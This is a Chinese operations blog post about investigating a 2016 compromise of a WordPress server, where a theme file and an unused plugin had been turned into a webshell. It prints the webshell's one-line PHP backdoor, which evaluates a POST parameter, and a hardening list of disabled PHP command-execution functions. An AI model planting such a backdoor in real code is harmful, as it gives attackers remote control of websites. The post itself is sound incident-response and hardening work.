2016.5.14 服务器和网站遭受攻击 – 21运维
通知: .-...

2016.5.14 服务器和网站遭受攻击

linux 21运维 1484浏览 0评论

真的是树大招风,半夜收到一个报警短信,说是已经无法访问,比较好奇,就起来看看,访问清一色的500报错,果然挂了!邮箱里也是zabbix发来的网站无法访问和自定义脚本执行发来的监控邮件。 记录下心酸的排查步骤:
1,查看服务器是否被黑。
(1)查看了下是否有可疑用户,没有。设置chattr保护。
(2)查看服务器登录日志,last查看最近登陆了没有异常; vim /var/log/secure 查看安全日志,里边一大堆请求验证失败。我去你二大爷!顺便在看了下grep :0: /etc/passwd是否有特权用户,没有。
于是乎,还是不能再偷懒了:禁用root登录,修改服务器密码,设置iptables拦截暴力IP。远程端口之前就已经修改了,没动。
(3)ps和netstat 查看是否可疑进程,没有。个别不熟悉的进程使用lsof看了下也没异常。
(4)查看服务器所有端口连接情况,netstat -an | grep EST 看到个别IP一直在请求。搜索IP所在地是阿里云的IP,查看访问日志,这个IP也不少。阿里云帮助里边看了下,是他们的云盾,放心了。
(5)顺便查看阿里云后台,有暴力破解,安骑士拦截了,这个东西好。阿里云还是比较给力。
(6)查看是否有可疑任务计划,crontab -l 也没有。
(7)查看是否有可疑服务,进入/etc/init.d对服务器进行时间逆向排序也没有看到异常服务。
暂时查了这么多,服务器本身应该没有被拿下。送了一口气。

2,查看web。
(1)写探针测试环境,环境请求正常。那网站500报错应该是程序错误了。下一步转移方向查web日志。
(2)查看web无非就是查看请求报错日志了。查看nginx错误日志,发现网站果然是一堆500,报错都是多了一个函数<?php get_header(); ?> 无法调用,导致全站所有url崩溃。那应该是程序被搞了。
(3)根据报错定位到的是首页文件,先删除恢复正常。可以访问了,但是蜘蛛测试模拟依旧是500,怪不得收录也受影响了。想想应该没有这么简单,然后根据内容修改时间

find / -mmin 30 -print

进行文件排序,定位到了主题下的header.php和防垃圾评论插件被篡改了。这个自带插件一直没用,wordpress提示更新的时候也没有管,现在出问题了,好忧伤,也长教训。防垃圾插件成了一个webshell,直接删除这个插件和删除header.php多的内容:

 ?php
error_reporting(0);
$uid=$_POST['live'];
@eval("\$getnum = $uid;"); 
?。。。

暂时查到这里处理完都恢复正常了,明天还需要找做php开发的朋友详细给检查下。
(4)调整php.ini 禁用一些函数.

disable_functions :eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
(5)顺便调整网站目录权限。并对关键文件设置chattr保护。
(6)打包备份网站数据一份。

再运行观察一下吧,睡觉。

转载请注明:21运维 » 2016.5.14 服务器和网站遭受攻击

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址